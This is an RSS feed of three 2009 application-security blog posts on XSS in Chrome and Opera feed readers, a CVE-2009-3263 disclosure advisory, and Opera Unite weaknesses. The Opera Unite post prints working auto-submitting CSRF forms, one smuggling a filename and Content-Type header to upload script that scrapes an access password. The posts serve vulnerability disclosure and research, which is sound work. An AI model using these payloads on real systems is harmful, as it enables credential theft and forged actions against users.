<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SecureThoughts.com &#187; XSS</title>
	<atom:link href="http://securethoughts.com/category/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://securethoughts.com</link>
	<description>Inferno&#039;s Blog on Application Security</description>
	<lastBuildDate>Sun, 22 Nov 2009 20:09:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hijacking Opera&#8217;s Native Page using malicious RSS payloads</title>
		<link>http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/</link>
		<comments>http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 13:45:57 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[RSS]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=1064</guid>
		<description><![CDATA[Well, this one is a continuation of my previous post on Cross Site Scripting issues relating to RSS feed readers. In that post, I mentioned Scenario (3), but didn&#8217;t discuss any details or PoC since Opera Team was actively fixing it. This issue is now fixed in the latest security update v10.01 from Opera Team.
In [...]]]></description>
			<content:encoded><![CDATA[<p>Well, this one is a continuation of my <a href="http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/">previous post</a> on Cross Site Scripting issues relating to RSS feed readers. In that post, I mentioned Scenario (3), but didn&#8217;t discuss any details or PoC since Opera Team was actively fixing it. This issue is now fixed in the latest security update <a href="http://my.opera.com/desktopteam/blog/opera-10-01">v10.01</a> from Opera Team.</p>
<p>In this exploit, an attacker uses a maliciously crafted RSS payload to achieve full control over the Victim&#8217;s Opera Browser.  The attack works by convincing a user to visit a RSS feed link. When the user opens the url in Opera, there are two things that take place. The first one being Javascript in various RSS feed entries gets executed in the context of the calling site. This part was discussed in the previous post and can be used to execute XSS in the context of that site. The second thing that occurs is the untrusted rss feed content lands up in the Opera&#8217;s Feed Subscription Page (also the reason for this post). Since this is a native page, it runs in a higher privileged zone than the internet zone (something similar to chrome:// in Firefox and Chrome). </p>
<p>So, if you find a way to execute your malicious javascript in the feed subscription page, you can essentially execute native opera functions and ultimately use it to control the Victim&#8217;s Opera browser. It looks like Opera&#8217;s Team did think about the implications of putting untrusted user content in this page and hence only permitted a certain whitelist of html tags. In addition, for some html tags such as &#8220;A&#8221; and &#8220;IMG&#8221;, it required certain preconditions to be met. See the code snippets captured using Opera inbuilt debugger <a href="http://www.opera.com/dragonfly/">DragonFly</a> (you can also use <a href="http://getfirebug.com/lite.html">Firebug lite</a>). </p>
<p><strong>Whitelisted HTML Tags Definition &#8211; Opera Feed Subscription Page (Source &#8211; DragonFly)</strong><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/operanativepagexss1.png" title="" class="shutterset_singlepic36" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/36__500x300_operanativepagexss1.png" alt="Opera Feed Subscription Page Source in DragonFly - Part 1" title="Opera Feed Subscription Page Source in DragonFly - Part 1" />
</a>
<br />
<strong>HTML Tag Sanitizer/Filter Function &#8211; Opera Feed Subscription Page (Source &#8211; DragonFly)</strong><br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/operanativepagexss2.png" title="" class="shutterset_singlepic37" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/37__500x300_operanativepagexss2.png" alt="Opera Feed Subscription Page Source in DragonFly - Part 2" title="Opera Feed Subscription Page Source in DragonFly - Part 2" />
</a>
</p>
<p>If you had tried the simple xss attacks like <strong>&lt;img src=&#8221;x:x&#8221; onerror=&#8221;some javascript&#8221;/></strong> or something like <strong>&lt;a onmouseover=&#8221;some javascript&#8221;>link&lt;/a></strong>, these won&#8217;t work here (hint: check out preconditions defined above). It is important to understand what you are attacking and if read this code, you will figure out what constitutes a valid malicious payload that will evade this filter or sanitizer on the Opera Subscriptions Page.</p>
<p>So, here is an example PoC exploit code which executes the <strong>opera.feeds.subscribeNative</strong> function to automatically register a feed in Opera browser without user consent.<br />
<br/><a href="http://securethoughts.com/security/rssatomxss/opera10exploit2.atom">http://securethoughts.com/security/rssatomxss/opera10exploit2.atom</a><br />
(Tested on Opera 10.00 Stable Build 1750)<br />

<a href="http://securethoughts.com/wp-content/gallery/security/operanativepagexss3.png" title="" class="shutterset_singlepic38" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/38__500x300_operanativepagexss3.png" alt="Automatic Feed Registration without User Consent" title="Automatic Feed Registration without User Consent" />
</a>
</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Exploiting Chrome and Opera&#8217;s inbuilt ATOM/RSS reader with Script Execution and more</title>
		<link>http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/</link>
		<comments>http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 04:00:23 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Opera]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=845</guid>
		<description><![CDATA[Update: I missed pointing out the cutting edge research done by Robert Auger in this area back in 2006. [1,2]. Also, Michal Zalewski has written about the RSS and ATOM vulnerabilities in the comprehensive Browser Security Handbook. Definitely check these links out.
=============================================



SECURETHOUGHTS.COM ADVISORY




- CVE-ID
: CVE-2009-3263 (Chrome)


- Release Date
: September 15, 2009


- Severity
: Medium to High


- [...]]]></description>
			<content:encoded><![CDATA[<p><strong><em>Update: I missed pointing out the cutting edge research done by <a href="http://www.cgisecurity.com">Robert Auger</a> in this area back in 2006. [<a href="http://www.cgisecurity.com/papers/HackingFeeds.pdf">1</a>,<a href="http://www.cgisecurity.com/papers/RSS-Security.ppt">2</a>]. Also, <a href="http://lcamtuf.coredump.cx/">Michal Zalewski</a> has written about the RSS and ATOM vulnerabilities in the comprehensive <a href="http://code.google.com/p/browsersec/wiki/Main">Browser Security Handbook</a>. Definitely check these links out.</strong></em></p>
<p>=============================================</p>
<table height=25>
<tr>
<td width=75></td>
<td><strong>SECURETHOUGHTS.COM ADVISORY</strong></td>
</tr>
</table>
<table>
<tr>
<td width=150>- CVE-ID</td>
<td>: CVE-2009-3263 (Chrome)</td>
</tr>
<tr>
<td width=150>- Release Date</td>
<td>: September 15, 2009</td>
</tr>
<tr>
<td width=150>- Severity</td>
<td>: Medium to High</td>
</tr>
<tr>
<td width=150>- Discovered by</td>
<td>: Inferno</td>
</tr>
</table>
<p>=============================================</p>
<p>I. TITLE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Exploiting Chrome and Opera&#8217;s inbuilt ATOM/RSS reader with Script Execution and more</p>
<p>II. VULNERABLE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Chrome all versions &#8211; 2 and 3 (< 3.0.195.21)<br />
Opera all versions - 9 and 10.</p>
<p>III. BACKGROUND<br />
-------------------------<br />
Back in 2006, there was interesting research done by James Holderness[<a href="http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite">1</a>] and James M. Snell[<a href="http://www.snellspace.com/wp/?p=448">2</a>] which uncovered a variety of XSS issues in various online feed aggregator services (e.g. <a href="http://www.snellspace.com/wp/?p=426">Feed Demon</a>). The vulnerability arises from the fact that it is not expected of RSS readers to render scripted content. I want to extend that research by doing threat analysis on inbuilt feed readers offered in most modern browsers. I have found Google Chrome (v2,3) and Opera (v9,v10) to be vulnerable, while Internet Explorer(v7,8), Firefox 3.5 and Safari 4 are resilient to the exploits mentioned below.</p>
<p>IV. DESCRIPTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Google Chrome and Opera’s inbuilt RSS/ATOM Reader renders untrusted javascript in an RSS/ATOM feed.</p>
<p><strong>Exploit Scenarios</strong></p>
<ol>
<li><em>Scenario 1</em> &#8211;</li>
<ol>
<li>Attacker social engineers a victim user to visit a rss/atom feed link pointing to his or her evil site.</li>
<li>Victim uses Google Chrome / Opera browser to view the feed.</li>
<li>Malicious javascript gets executed on victim&#8217;s browser. Examples</li>
<ol>
<li>Modifies into a phishing page and asks user credentials for subscribing to Google Reader / My.Opera.com</li>
<li>Searches user&#8217;s browser history for visited url list [<a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">3</a>]
<li>Scans user&#8217;s internal network with/without javascript [<a href="http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html">4</a>]
</ol>
</ol>
<li><em>Scenario 2</em> &#8211;</li>
<ol>
<li>Both attacker and victim user have an account to a trusted website.</li>
<li>Either</li>
<ol>
<li>The trusted web site lets the attacker inject JavaScript content into any section of the site&#8217;s RSS or an Atom feed.</li>
</ol>
<li>OR</li>
<ol>
<li>The trusted website uses blacklist to block known executable file types for scripted content. E.g. html, jsp, etc.</li>
<li>Attacker uploads a file with extension .rss/.atom/arbitary extension preceded by .rss/.atom [e.g. .atom.tx]. Most widely used Apache web server passes Content-Type as &#8220;application/{atom/rss}+xml&#8221; for all the three cases automatically in default configuration.
 </li>
<li>Attacker convinces victim to visit the direct link to uploaded file. </li>
<li>Victim&#8217;s cookies and other sensitive data gets sent to attacker&#8217;s site.</li>
<li><strong>Note:</strong> For Internet Explorer (v7,8), the task is easier because it does automatic mime type detection. So, you can execute javascript content in any file extension. E.g. click <a href="http://securethoughts.com/security/rssatomxss/anyfile.tx">http://securethoughts.com/security/rssatomxss/anyfile.tx</a>. However, for other browsers, Firefox 3.5, Safari 4, Opera 10 and Chrome 3, they don&#8217;t support this functionality (perhaps for security reasons). So, using such extensions mentioned above can be used as a workaround for script execution in Opera and Chrome browsers.
</li>
</ol>
</ol>
<li><em>Scenario 3</em> &#8211;</li>
<ol>
<li>Similar to Scenario 1, but exploit can be used for complete control over feeds in the Opera browser.</li>
</ol>
</ol>
<p>V. PROOF OF CONCEPT<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<ol>
<li>Exploit Scenario 1 [Testcases - 18 XSS for Chrome, 38 XSS for Opera] &#8211;</li>
<ol>
<li>Chrome: <a href="http://securethoughts.com/security/rssatomxss/googlechromexss.atom">http://securethoughts.com/security/rssatomxss/googlechromexss.atom</a> [or <a href="http://securethoughts.com/security/rssatomxss/googlechromexss.rss">.rss</a>]</li>
<li>Opera: <a href="http://securethoughts.com/security/rssatomxss/opera10xss.atom">http://securethoughts.com/security/rssatomxss/opera10xss.atom</a> [or <a href="http://securethoughts.com/security/rssatomxss/opera10xss.rss">.rss</a>]</li>
</ol>
<li>Exploit Scenario 2 &#8211;</li>
<ol>
<li>Include all in Scenario 1</li>
<li>Opera: <a href="http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx">http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx</a> [Any arbitary file extension at. E.g .tx, .tm]</li>
<li>Chrome: <a href="http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx">http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx</a> [Any arbitary file extension at. E.g .tx, .tm]</li>
</ol>
<li>Exploit Scenario 3 &#8211;</li>
<ol>
<li>Details and PoC will be released after patch is provided by Opera Security Team in next minor release.
        </ol>
</ol>
<p>For research purposes, you can try out the PoCs on these virtualized (and vulnerable) versions of various browsers, without installing any bits on your computer [<a href="http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications">5</a>].</p>
<p>VI. FIX DESCRIPTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<ol>
<li><strong>Chrome:</strong> ATOM/RSS feed rendering is completely disabled by forcing a text/plain MIME type [<a href="http://code.google.com/p/chromium/issues/detail?id=21238">6</a>]. If you need feed rendering, a good alternative is FeedBurner which protects from any script execution attacks by blocking them at time of the feed registration.</li>
<li><strong>Opera:</strong> Scenarios (1) and (2) will not be fixed, as it is a design feature. Scenario (3) will be patched in next minor release.</li>
</ol>
<p><strong>Google Chrome before fix &#8211;</strong><br />

<a href="http://securethoughts.com/wp-content/gallery/security/ScreenShot018.jpg" title="" class="shutterset_singlepic29" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/29__500x375_ScreenShot018.jpg" alt="Google Chrome - 18 XSS issues in ATOM/RSS Reader" title="Google Chrome - 18 XSS issues in ATOM/RSS Reader" />
</a>
</br></p>
<p><strong>Google Chrome after fix &#8211;</strong><br />

<a href="http://securethoughts.com/wp-content/gallery/security/ScreenShot019.jpg" title="" class="shutterset_singlepic30" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/30__500x375_ScreenShot019.jpg" alt="Google Chrome after fix - Stops rendering dynamic content" title="Google Chrome after fix - Stops rendering dynamic content" />
</a>
<br/></p>
<p><strong>Opera before fix &#8211;</strong><br />

<a href="http://securethoughts.com/wp-content/gallery/security/ScreenShot017.jpg" title="" class="shutterset_singlepic28" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/28__500x375_ScreenShot017.jpg" alt="Opera - 38 XSS issues in ATOM/RSS Reader" title="Opera - 38 XSS issues in ATOM/RSS Reader" />
</a>
<br/></p>
<p><strong>Opera After Fix &#8211;</strong><br />
Still the same. Only Scenario (3) will be fixed.</p>
<p>VII. SOLUTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>Chrome:</strong> Upgrade to latest version of Google Chrome (v3.0.195.21 or higher). If you remain connected to the internet, this should be automatic.<br />
<strong>Opera:</strong> Wait for upcoming patch for Scenario (3) in next minor release (non-alpha/beta)  of Opera 10 [Opera 9 users need to upgrade]. However, you will still continue to be vulnerable to script execution.</p>
<p>VIII. REFERENCES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
1. Attack Delivery TestSuite &#8211; James Holderness<br />
<a href="http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite">http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite</a></p>
<p>2. Feed Security &#8211; James M. Snell<br />
<a href="http://www.snellspace.com/wp/?p=448">http://www.snellspace.com/wp/?p=448</a></p>
<p>3. CSS History Hack &#8211; Jeremiah Grossman<br />
<a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html</a></p>
<p>4. Browser Port Scanning without Javascript &#8211; Jeremiah Grossman<br />
<a href="http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html">http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html</a></p>
<p>5. Downloading Xenocode&#8217;s &#8220;sandboxed&#8221; applications &#8211; Wladimir Palant<br />
<a href="http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications">http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications</a></p>
<p>6. Google Chrome Fix Details<br />
<a href="http://code.google.com/p/chromium/issues/detail?id=21238">http://code.google.com/p/chromium/issues/detail?id=21238</a></p>
<p>IX. CREDITS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
This vulnerability is discovered by<br />
<strong>Inferno</strong> (inferno {at} securethoughts {dot} com)</p>
<p>X. DISCLOSURE TIMELINE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Sep 7, 2009 12:09 PM: Vulnerability reported to Google and Opera Security Teams.<br />
Sep 7, 2009 12:10 PM: Automated Response from Google Security Team.<br />
Sep 7, 2009 03:49 PM: First Status update provided by Google Security Team. Quick response for a Holiday.<br />
Sep 8, 2009 01:09 AM: First Status update provided by Opera Security Team. Vulnerability concluded as design feature.<br />
Sep 8, 2009 03:28 PM: Vulnerability confirmed by Google Chrome Security Team. Patch timelines provided.<br />
Sep 9, 2009 07:39 AM: Second Status update provided by Opera Security Team. Asked for exploit possibility for certain scenarios.<br />
Sep 10, 2009 01:33 AM: Third Status update provided by Opera Security Team. Vulnerability confirmed for new provided testcases.<br />
Sep 15, 2009 01:31 AM: Final Status update provided by Opera Security Team. Scenario (3) will be fixed, while Scenarios (1), (2) will not be.<br />
Sep 15, 2009 03:04 PM: Patch released by Google Security Team in v3.0.195.21.<br />
Sep XX, 2009 XX:XX XX: Patch planned by Opera Security Team for next minor release.</p>
<p>I would like to thank <a href="http://scarybeastsecurity.blogspot.com"><strong>Chris Evans</strong></a> from <a href="http://www.google.com/corporate/security.html">Google Chrome Security Team</a> and <a href="http:///my.opera.com/Sigbjorn"><strong>Sigbjørn Vik</strong></a> from <a href="http://www.opera.com/security/">Opera Security Team</a> for their prompt responses, engaging in insightful discussions and getting the fix ready in a timely manner. It was a pleasure working with them.</p>
]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Pwning Opera Unite with Inferno&#8217;s Eleven</title>
		<link>http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/</link>
		<comments>http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 06:24:07 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Auth(entication/orization)]]></category>
		<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Brute Force]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Information Gathering]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Clickjacking]]></category>
		<category><![CDATA[Cross Site Request Forgery]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Opera Unite]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=783</guid>
		<description><![CDATA[Opera Unite, the upcoming version of the Opera browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can chat with people, leave notes, share files, play media, host your sites, etc. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://unite.opera.com/"><strong>Opera Unite</strong></a>, the upcoming version of the <a href="http://www.opera.com/">Opera</a> browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can <a href="http://unite.opera.com/service/download/182/">chat with people</a>, <a href="http://unite.opera.com/service/download/142/">leave notes</a>, <a href="http://unite.opera.com/service/download/132/">share files</a>, <a href="http://unite.opera.com/service/download/162/">play media</a>, <a href="http://unite.opera.com/service/download/192/">host your sites</a>, etc. (Wow!!). </p>
<p>Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the <strong>Service Owner</strong>, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is &#8220;home&#8221;. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to <a href="http://asd.opera.com/">asd.opera.com</a> and <a href="http://auth.opera.com/">auth.opera.com</a> (no protocol details except <a href="http://dev.opera.com/forums/topic/280057">here</a>). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.</p>
<p>I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on <strong>10.00 Beta 3 Build 1703</strong>). I am including the PoC in their respective sections. Remember to change &#8220;<strong>home</strong>&#8221; with your computerid and &#8220;<strong>infernosec2</strong>&#8221; with your userid. </p>
<p>1. <strong>Enumerating Service Owner Usernames &#8212; </strong>Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user&#8217;s pages (configurable). Here is the output from a simple query &#8211; <a href="http://www.google.com/#hl=en&#038;q=site%3Aoperaunite.com&#038;fp=1&#038;cad=b">site:operaunite.com</a><br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera1.jpg" title="" class="shutterset_singlepic15" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/15__400x400_opera1.jpg" alt="Opera Unite Username Enumeration using Google" title="Opera Unite Username Enumeration using Google" />
</a>
<br/></p>
<p>2. <strong>Enumerating Computer names for a particular Service Owner &#8212; </strong>Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera2.jpg" title="" class="shutterset_singlepic18" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/18__400x400_opera2.jpg" alt="Opera Unite Computer Names Enumeration" title="Opera Unite Computer Names Enumeration" />
</a>
<br/></p>
<p>3. <strong>Enumerating Service Owner Server IP address and Port number &#8212; </strong>If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera3.jpg" title="" class="shutterset_singlepic19" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/19__400x400_opera3.jpg" alt="Opera Unite Server IP and Port Disclosure" title="Opera Unite Server IP and Port Disclosure" />
</a>
<br/></p>
<p>4. <strong>Hijacking Insecure Communication in Service Pages &#8212; </strong>While Opera Team has taken adequate steps to secure the Service Owner&#8217;s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera&#8217;s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting <a href="https://my.opera.com/">https://my.opera.com/</a><br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera4.jpg" title="" class="shutterset_singlepic20" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/20__400x400_opera4.jpg" alt="Opera Unite Insecure HTTP Communication" title="Opera Unite Insecure HTTP Communication" />
</a>
<br/></p>
<p>5. <strong>Hosting Phishing Pages and other Malware on Trusted Operaunite.com &#8212; </strong>As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera6.jpg" title="" class="shutterset_singlepic22" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/22__400x400_opera6.jpg" alt="Opera Unite Phishing and Malware Pages Hosting" title="Opera Unite Phishing and Malware Pages Hosting" />
</a>
<br/></p>
<p>6. <strong>CSRF-ing a File Upload from a Trusted User &#8212; </strong> Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven&#8217;t felt the need to fix this (still works for IE8, Firefox 3.5.2).</p>
<pre class="brush: html; wrap-lines: true">
&lt;html>
&lt;form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
&lt;textarea name='file"; filename="evil"
Content-Type: text/html; '>
&lt;html>
&lt;script>
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
					var pattern= /&lt;[^>]*unite-aclPassword" value="([^>]*)">/i;
					if(pattern.test(xhr.responseText))
					{
						alert("Your acl password is: "+RegExp.$1);
					}
                }
            }
        };

    xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
    xhr.send(null);
&lt;/script>
&lt;/html>
&lt;/textarea>
&lt;/form>
&lt;script>
     document.forms[0].submit();
&lt;/script>
&lt;/html>
</pre>
<p>(Combined PoC available here &#8211; <a href="http://securethoughts.com/security/operaunite/attack.html">http://securethoughts.com/security/operaunite/attack.html</a>)<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera9.jpg" title="" class="shutterset_singlepic25" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/25__400x400_opera9.jpg" alt="Opera Unite CSRF ing a file upload on File Uploader" title="Opera Unite CSRF ing a file upload on File Uploader" />
</a>
<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera10.jpg" title="" class="shutterset_singlepic16" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/16__400x400_opera10.jpg" alt="Opera Unite Uploaded File XSS discloses sensitive access password" title="Opera Unite Uploaded File XSS discloses sensitive access password" />
</a>
<br/></p>
<p>7. <strong>CSRF-ing a Note on the Fridge &#8212; </strong>Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<pre class="brush: html; wrap-lines: true">
&lt;html>
&lt;form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
&lt;input type="text" name="post" value="You are Hacked">
&lt;input type="text" name="author" value="Attacker">
&lt;input type="text" name="email" value="Evil">
&lt;input type="text" name="cancel" value="cancel">
&lt;/form>
&lt;script>
     document.forms[0].submit();
&lt;/script>
&lt;/html>
</pre>
<p>(Combined PoC available here &#8211; <a href="http://securethoughts.com/security/operaunite/attack.html">http://securethoughts.com/security/operaunite/attack.html</a>)<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera8.jpg" title="" class="shutterset_singlepic24" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/24__400x400_opera8.jpg" alt="Opera Unite CSRF ing a note on the Fridge" title="Opera Unite CSRF ing a note on the Fridge" />
</a>
<br/></p>
<p>8. <strong>CSRF-Ing anyuserid to join a chatroom &#8212; </strong> Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?</p>
<pre class="brush: html; wrap-lines: true">
&lt;html>
&lt;form method="post" action="http://home.infernosec2.operaunite.com/the_lounge/entry">
&lt;input type="text" name="nick" value="anyfakeid">
&lt;/form>
&lt;script>
     document.forms[0].submit();
&lt;/script>
&lt;/html>
</pre>
<p>(Combined PoC available here &#8211; <a href="http://securethoughts.com/security/operaunite/attack.html">http://securethoughts.com/security/operaunite/attack.html</a>)<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera7.jpg" title="" class="shutterset_singlepic23" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/23__400x400_opera7.jpg" alt="Opera Unite CSRF ing anyfakeid user to join the Lounge" title="Opera Unite CSRF ing anyfakeid user to join the Lounge" />
</a>
<br/></p>
